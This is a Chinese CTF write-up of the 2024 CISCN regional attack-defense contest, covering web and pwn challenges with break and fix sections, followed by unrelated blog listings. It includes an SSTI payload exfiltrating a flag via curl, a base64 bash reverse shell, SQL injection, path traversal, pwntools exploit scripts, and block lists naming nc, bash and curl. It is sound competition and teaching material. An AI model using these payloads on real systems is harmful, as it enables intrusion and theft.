当前位置：首页 > news >正文

2024 CISCN 华东北分区赛-Ahisec

news 2026/5/16 5:22:18

Ahisec战队

WEB

python-1

break

源码如下：

# -*- coding: UTF-8 -*-from flask import Flask, request,render_template,render_template_stringapp = Flask(__name__)def blacklist(name):blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args"]for keyword in blacklists:if keyword in name:return Truereturn False@app.route("/", methods=["GET","POST"])
def index():if request.method == "POST":try:name = request.form['name']names = blacklist(name)if names == True:return "Oh,False!"html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % namereturn render_template_string(html)except ValueError:passelse:html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''return render_template_string(html)

fenjing一把梭，不过要注意print函数被禁用了，所以可以直接复制fenjing最终的payload，然后搭配curl命令进行文件内容的读取，curl被过滤了，拼接绕过

payload

name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://10.101.64.15:8081/`sort /fl*`').read()%}

在这里插入图片描述

fix

防御就很简单了，直接把{%%}禁用

blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]

# -*- coding: UTF-8 -*-from flask import Flask, request,render_template,render_template_stringapp = Flask(__name__)def blacklist(name):blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]for keyword in blacklists:if keyword in name:return Truereturn False@app.route("/", methods=["GET","POST"])
def index():if request.method == "POST":try:name = request.form['name']names = blacklist(name)if names == True:return "Oh,False!"html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % namereturn render_template_string(html)except ValueError:passelse:html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''return render_template_string(html)

python-2

break

这题给的附件里的db文件里，使用navicat打开，就能直接看到flag了。非预期

在这里插入图片描述

fix

结合上面的特征，flag在数据库里，很明显存在sql注入，防御试了几遍，发现将这一段注释掉就可以过了，说实话这次的题和去年的没法比

在这里插入图片描述

php-1

fix

d盾扫描发现疑似后门

在这里插入图片描述

将其注释掉就可以防御，这我是真没想到，绷不住。

在这里插入图片描述
这题最后break被我遗忘了，真是曹了

php-2

break

使用seay源代码工具扫描的时候可以发现有很多sql注入相关的漏洞

在这里插入图片描述

分析了一轮下来发现searchlist.php中执行了sql语句，但是写死了

在这里插入图片描述

不过我也是因此找到了这题的漏洞点所在，看下面的代码

在这里插入图片描述

搜索关键字发现同级目录下有一个文件searchmodify.php

在这里插入图片描述

有过滤，并且过滤的很松，只是简单的替换而已，双写绕过就可以或者是大小写绕过

至于在哪里可以调用到这，查看adminuser.php可以发现action参数默认可以跳到userlist，userlist文件和searchmodify.php同级，最后的payload

http://192.64.1.3/adminuser.php?action=searchmodify&id=-1' Union seLEct NULL,CONCAT(0x1,iFNULL(CAST(`name` AS CHAR),0x20),0x1),NULL,NULL FROM cf.flag-- -

/var/www/html/action/adminuser/searchmodify.php存在sql注入漏洞

fix

加转义addslashes函数

在这里插入图片描述

php-3

break

index.php源码

<?php  
error_reporting(E_ALL);ini_set('display_errors','1');#important php in path:/var/www/html and php File names have 16 charactersif (isset($_GET['path']))  
{ $Input_data = $_GET['path'];$it=new DirectoryIterator($Input_data);foreach($it as $f){$path=$f->getFilename();if(file_exists($path)){echo "yes,it exists";}else{echo "too naive!";}}
}   
else 
{ highlight_file(__file__); 
} 
?>

import requestsstrings = "dqazwsxedcrfvtgb1234567890yhnujmikolp.php"tmp = ""
for a in range(20):for i in strings:url = "http://192.64.1.149/?path=glob:///var/www/html/"+tmp+i+'*'res = requests.get(url=url).textif "yes,it exists" in res:tmp += iprint(tmp)break

然后得到页面d88554c739859dfe.php

在这里插入图片描述

访问如下：

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(  
' ' => '',
'flag' => '',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{echo "Not very good";
}
else
{system($cmd);
}

http://192.64.1.149/d88554c739859dfe.php?cmd=sort%09/f*

fix

flag替換成123

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(  
' ' => '',
'flag' => '123',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{echo "Not very good";
}
else
{system($cmd);
}

php-4

break

祭出seay源代码审计系统

在这里插入图片描述

漏洞文件：

/var/www/html/admin/inclues/set_page.php

在这里插入图片描述

没有任何的过滤，file参数为空就会指定默认的footer.html页面。所以可以使用…/…/…/…/…/…/…/…/flag.txt去目录穿越直接读取flag.txt

直接目录穿越进行文件读取

http://192.64.1.106/admin/admin.php?act=set_footer&file=../../../../../../../flag.txt

在这里插入图片描述

Fix

加个替换，将…替换成空

在这里插入图片描述

java-1

break

ssrf 绕过本地限制即可

在这里插入图片描述

读取远程恶意js文件

http://192.44.1.112:8080/geturl?url=http://127.0.0.1:8080/cmd?test=http://10.101.64.12/poc.jsvar a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwMS42NC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");}

在这里插入图片描述

fix

注释加载恶意js的地方即可

在这里插入图片描述

java-2

fix

jdbc修复即可

在这里插入图片描述

PWN

pwn-1

在这里插入图片描述

Fix

stack 可执行，

在这里插入图片描述

把 stack 默认权限改成 rw

在这里插入图片描述

break

格式化字符串漏洞泄露 canary和stack 地址

然后栈溢出 ret2 shellcode

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):'''Start the exploit against the target.'''if args.GDB:return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)elif args.RE:return remote('192.64.1.194',80)elif args.AWD:# python3 exp.py AWD 1.1.1.1 PORTIP = str(sys.argv[1])PORT = int(sys.argv[2])return remote(IP,PORT)else:return process([binary] + argv, *a, **kw)binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
brva 0x0014B7
brva 0x0014D7
#continue
'''.format(**locals())io = start(binary)def sett(name):ru('2: get name\n')sl('1')ru('->set name')s(name)#gdb.attach(io,gdbscript)
pay = f'%{6+0xb}$p%{6+0xc}$p'
sett(pay)ru('2: get name\n')
sl('2')ru('0x')
can = int(r(16),16)
lss('can')
st = int(r(len('0x7ffc4963dec0')),16)
lss('st')
ret = st - 0x60
#pay = asm(shellcraft.read(0,ret,0x400)).ljust(72,b'\x90')
pay  = asm(shellcraft.openat(-100, 'flag',0))
pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
pay  = pay.ljust(72,b'A')
pay += p64(can) * 2
pay += p64(ret)
sett(pay)#ru('2: get name\n')
#sl('2')ru('2: get name\n')
sl('3')#pause()
#pay = b'\x90' * 0x20
#pay += asm(shellcraft.openat(-1, 'flag'))
#pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
#
#sl(pay)itr()

在这里插入图片描述

pwn-2

在这里插入图片描述

Fix

把这个 4 改成 8

在这里插入图片描述

break

check flag 会把 flag 放到 heap上，通过泄露 bss 上的heap 地址，然后在直接看heap地址里的flag 既可以

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):'''Start the exploit against the target.'''if args.GDB:return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)elif args.RE:return remote('192.64.1.217',80)elif args.AWD:# python3 exp.py AWD 1.1.1.1 PORTIP = str(sys.argv[1])PORT = int(sys.argv[2])return remote(IP,PORT)else:return process([binary] + argv, *a, **kw)binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
b *0x401E03
b *0x402150
#continue
'''.format(**locals())io = start(binary)def ls_flag():ru('6: check flag\n')sl('1')def add_flag():ru('6: check flag\n')sl('2')def edit_flag(idx,data):ru('6: check flag\n')sl('3')ru(':id')sl(str(idx))#pause()sl(str(data))#gdb.attach(io,gdbscript)
add_flag()ru('6: check flag\n')
sl('6')x = 0x4e67a0ru('6: check flag\n')
sl('5')
sl(str(x))ru('flag_get::')
ru(':')
x= uu64(r(4))lss('x')
flag = x + 3392 - 0x1f
ru('6: check flag\n')
sl('5')
sl(str(flag))#edit_flag(0x4e6018+184, 0x401E03)
#edit_flag(0x4e6018, 0x401E03)
#while(1):
#    d = io.recv(200)
#    if b'flag{' in d:
#        print(d)
#        pause()
#
#  
#io.close()
itr()

在这里插入图片描述

2024 CISCN 华东北分区赛-Ahisec

Ahisec战队 WEB python-1 break 源码如下： # -*- coding: UTF-8 -*-from flask import Flask, request,render_template,render_template_stringapp Flask(__name__)def blacklist(name):blacklists ["print","cat","flag",&q…...

编程日记 2024/6/29 23:59:21

Linux驱动开发笔记（十三）Sysfs文件系统

文章目录前言一、Sysfs1.1 Sysfs的引入1.2 Sysfs的目录结构1.2 Sysfs的目录详解1.2.1 devices1.2.2 bus1.2.3 class1.2.4 devices、bus、class目录之间的关系1.2.5 其他子目录二、Sysfs使用2.1 核心数据结构2.2 相关函数2.2.1 kobject_create_and_add2.2.2 kobject_put()2.2.…...

编程日记 2024/6/29 23:58:19

Numpy array和Pytorch tensor的区别

1.Numpy array和Pytorch tensor的区别笔记来源： 1.Comparison between Pytorch Tensor and Numpy Array 2.numpy.array 4.Tensors for Neural Networks, Clearly Explained!!! 5.What is a Tensor in Machine Learning? 1.1 Numpy Array Numpy array can only h…...

编程日记 2024/6/29 23:57:18

【面试系列】数据科学家高频面试题及详细解答

欢迎来到我的博客，很高兴能够在这里和您见面！欢迎订阅相关专栏： ⭐️ 全网最全IT互联网公司面试宝典：收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来：详细讲解AIGC的概念、核心技术、…...

编程日记 2024/6/29 23:56:17

mysql是什么

mysql是什么是DBMS软件系统，并不是一个数据库，管理数据库 DBMS相当于用户和数据库之间的桥梁，有超过300种不同的dbms系统 mysql是关系型数据库，关系型数据库存储模型很想excel，用行和列组织数据 sql是一门编程语言…...

编程日记 2024/6/29 23:54:14

【软件工程】【22.04】p1

关键字： 软件需求规约基本性质、数据字典构成、内聚程度最高功能内聚、公有属性、RUP实体类、评审、测试序列、软件确认过程、CMMI能力等级软件需求分类、DFD数据流图组成（实体）、经典详细设计、数据耦合、关联多重性、状态图、黑盒测试、…...

编程日记 2024/6/29 23:53:13

简单说下GPT-4

ChatGPT 4.0，是OpenAI开发的基于GPT-4架构的大型语言模型。它在多个方面相较于前代版本有了显著的改进。以下是从专业角度对ChatGPT 4.0的详解： 架构与训练 1. **架构**：GPT-4采用的是变压器（Transformer）架构&#x…...

编程日记 2024/6/29 23:51:11

力扣第一道困难题《3. 无重复字符的最长子串》，c++

目录方法一： 方法二： 方法三： 方法四： 没有讲解，但给出了优秀题解本题链接：4. 寻找两个正序数组的中位数 - 力扣（LeetCode） 话不多说，我们直接开始进行本题的思路解…...

编程日记 2024/6/29 23:49:09

【ai】tx2 nx ：ubuntu查找NvInfer.h 路径及哪个包、查找符号

在Ubuntu系统中，你可以使用多种方法来查找某个头文件的路径。这里有几种常用的方法：使用find命令： find命令是一个非常强大的工具，可以在文件系统中搜索匹配特定条件的文件。例如，如果你想查找名为stdio.h的头文件，可以使用以下命令：bash 复制代码 sudo find / -name …...

编程日记 2024/6/29 23:46:06

C++ 运算符的优先级和结合性表

优先级和结合性表优先级运算符描述结合性1::作用域解析运算符左到右2() [] . -> --后缀运算符左到右3 -- - ! ~ * & sizeof new delete typeid一元运算符右到左4* / %乘除取模左到右5 -加法和减法左到右6<< >>左移和右移左到右7< < > >关系…...

编程日记 2024/6/29 23:43:02

MySQL中SQL语句的执行过程详解

1. 客户端连接和请求客户端连接在MySQL中，客户端连接和请求过程是执行SQL语句的第一步。该步骤主要涉及客户端如何连接到MySQL服务器，以及如何维护和管理客户端与服务器之间的会话。客户端连接： 连接器（Connector&#xff09…...

编程日记 2024/6/29 23:42:00

文心一言4.0免费使用

领取&安装链接：Baidu Comate 领取季卡视频教程：免费使用文心一言4.0大模型_哔哩哔哩_bilibili 有图有真相原理：百度comate使用文心一言最新的4.0模型。百度comate目前免费使用，可以借助comate达到免费使用4.0模型目的。 …...

编程日记 2024/6/29 23:39:58

Mongodb安装与配置

Mongodb的下载这里下载的是MongoDB 7.0.11版本的首先进入官网：https://www.mongodb.com/ 点击完上面两步后，加载来到该页面，选择自己的版本、系统，是压缩包(zip)还是安装包(msi)。下载好之后能，来到安装包哪里&a…...

编程日记 2024/6/29 23:38:56

Java校园跑腿小程序校园代买帮忙外卖源码社区外卖源码

🔥校园跑腿与外卖源码揭秘🔥 🚀 引言：为何需要校园跑腿与外卖源码？ 在快节奏的校园生活里，学生们对于便捷、高效的服务需求日益增长。校园跑腿和外卖服务成为了解决这一需求的热门选择。然而，…...

编程日记 2024/6/29 23:36:54

MySQL高级-MVCC-基本概念（当前读、快照读）

文章目录 1、MVCC基本概念1.1、当前读1.1.1、创建表 stu1.1.2、测试 1.2、快照读 1、MVCC基本概念全称Multi-Version Concurrency Control，多版本并发控制。指维护一个数据的多个版本，使得读写操作没有冲突，快照读为MySQL实现MVCC提供了一个…...

编程日记 2024/6/29 23:32:50

kubernetes给指定用户分配调用k8s的api权限

文章目录概要利用RBAC添加角色权限使用shell命令创建角色权限使用配置文件创建角色权限调用k8s的api获取k8s账户的token 小结概要使用kubernetes部署项目时，有些特殊场景，我们需要在自己创建的pod里面调用k8s的api来管理k8s，但是需要使用…...

编程日记 2024/6/29 23:30:47

无人机的弱点和限制

1.电池和续航能力： 续航时间短：大多数无人机依赖锂电池供电，续航时间通常在30分钟至1小时之间，限制了其长时间任务的执行能力。能量密度低：现有电池技术的能量密度无法满足长时间飞行需求，需要突破性的发…...

编程日记 2024/6/29 23:29:46

ElementUI的基本搭建

目录 1，首先在控制终端中输入下面代码：npm i element-ui -S 安装element UI 2，构架登录页面，login.vue编辑 3，在官网获取对应所需的代码直接复制粘贴到对应位置 4，在继续完善，从官网添加…...

编程日记 2024/6/29 23:28:44

Modbus TCP与TCP/IP协议间的差异与应用场景

Modbus TCP概述 Modbus协议简介 Modbus是一种专为工业自动化系统设计的通信协议，采用主从模式，即一个主设备（通常是计算机或可编程逻辑控制器）与多个从设备（如传感器、执行器等）进行通信。Modbus协议具有…...

编程日记 2024/6/29 23:26:42

Linux Doxygen快速生成文档

此前写过一篇编写Doxygen格式的注释以用于生成文档,点击以查阅, Doxygen常用语法与字段记录,但是当时用的windows桌面版的doxygen,最近使用ubuntu编写代码想直接使用doxygen生成,故写下此博客 Doxygen Doxygen是一个用于生成软件文档的工具，它可以从代码中提取注释…...

编程日记 2024/6/29 23:24:40

从Starpod项目解析个人AI工作流引擎：架构、实现与应用

1. 项目概述：从“星荚”到个人AI工作流引擎最近在AI工具圈里，一个名为sinaptik-ai/starpod的项目引起了我的注意。乍一看这个标题，可能会觉得有些抽象——“星荚”是什么？AI“豆荚”？但当你深入其GitHub仓库&#xff0…...

编程新知 2026/5/16 2:09:34

Python模板引擎批量生成文章：Jinja2与Pandas实战指南

1. 项目概述：一个能帮你批量生成文章的自动化工具如果你也经常需要处理大量内容创作任务，比如运营多个自媒体账号、管理企业博客矩阵，或者为产品生成海量描述性文案，那你一定对“重复劳动”这个词深恶痛绝。手动一篇篇地写&#…...

编程新知 2026/5/16 1:13:20

VCF 9.1 实验室部署 ESX 配置变通方案

以下配置适用于资源受限环境、非生产用途，仅用于功能测试与学习目的。一、物理 ESX 9.1 主机1. vSAN 压缩算法（CPU 受限环境）VCF 9.1 默认从 LZ4 改为 Zstd，压缩率更高但 CPU 占用更高。切回 LZ4（无需重启）…...

编程新知 2026/5/16 0:12:22

量子生成分类技术：原理、优势与应用解析

1. 量子生成分类技术概述量子生成分类（Quantum Generative Classification, QGC）是一种基于量子计算原理的新型机器学习范式，它从根本上改变了传统分类任务的实现方式。与常见的判别式学习方法不同，QGC采用生成式学习策略&#xf…...

编程新知 2026/5/15 23:22:46

5分钟掌握网盘直链解析神器：彻底告别下载限速烦恼

5分钟掌握网盘直链解析神器：彻底告别下载限速烦恼【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ，支持百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘…...

编程新知 2026/5/15 22:44:52

零代码也能做游戏？用UE5蓝图系统10分钟做个会转的潜艇（附完整资产包）

零代码游戏开发：用UE5蓝图10分钟打造动态潜艇当第一次打开虚幻引擎5时，许多初学者会被其庞大的功能体系所震撼——从影视级的光照系统到数百万面的高精度模型渲染，这款引擎几乎能实现任何你能想象到的视觉效果。但更令人惊喜的是&#xff0c…...

编程新知 2026/5/15 22:42:41

告别手动标注！用TableBank数据集+Detectron2，快速搞定表格检测模型训练

零基础实战：基于TableBank与Detectron2的工业级表格检测方案在金融报表解析、医疗档案数字化等场景中，表格检测作为文档智能处理的第一道关卡，其准确性直接影响后续信息提取的成败。传统人工标注数据的方式不仅成本高昂，更面临版…...

编程新知 2026/5/15 21:43:49

为什么你的DeepSeek JSON总是parse error？资深架构师用AST语法树对比揭示4种LLM输出结构幻觉根源

更多请点击： https://intelliparadigm.com 第一章：JSON解析失败的表象与系统性归因 JSON解析失败在现代Web服务、微服务通信及前端数据消费中极为常见，其表象往往表现为程序崩溃、空值传播、或静默丢弃数据，而非明确的错误提示。…...

编程新知 2026/5/15 20:54:24

3种方式掌控多显示器亮度：Monitorian让你的Windows屏幕管理更智能

3种方式掌控多显示器亮度：Monitorian让你的Windows屏幕管理更智能【免费下载链接】Monitorian A Windows desktop tool to adjust the brightness of multiple monitors with ease 项目地址: https://gitcode.com/gh_mirrors/mo/Monitorian 你是否曾为Windo…...

编程新知 2026/5/15 20:03:17

除了卸载浏览器，ADB还能帮你清理哪些OPPO手机预装软件？附完整包名清单

深度优化OPPO手机：ADB卸载非必要预装应用全指南对于追求系统纯净度的OPPO手机用户而言，预装应用往往占据宝贵存储空间并消耗后台资源。本文将系统介绍如何利用Android Debug Bridge（ADB）工具精准管理ColorOS系统中的各类预装组件…...

编程新知 2026/5/15 19:25:15

WEB

python-1

break

fix

python-2

break

fix

php-1

fix

php-2

break

fix

php-3

break

fix

php-4

break

Fix

java-1

break

fix

java-2

fix

PWN

pwn-1

Fix

break

pwn-2

Fix

break

相关文章：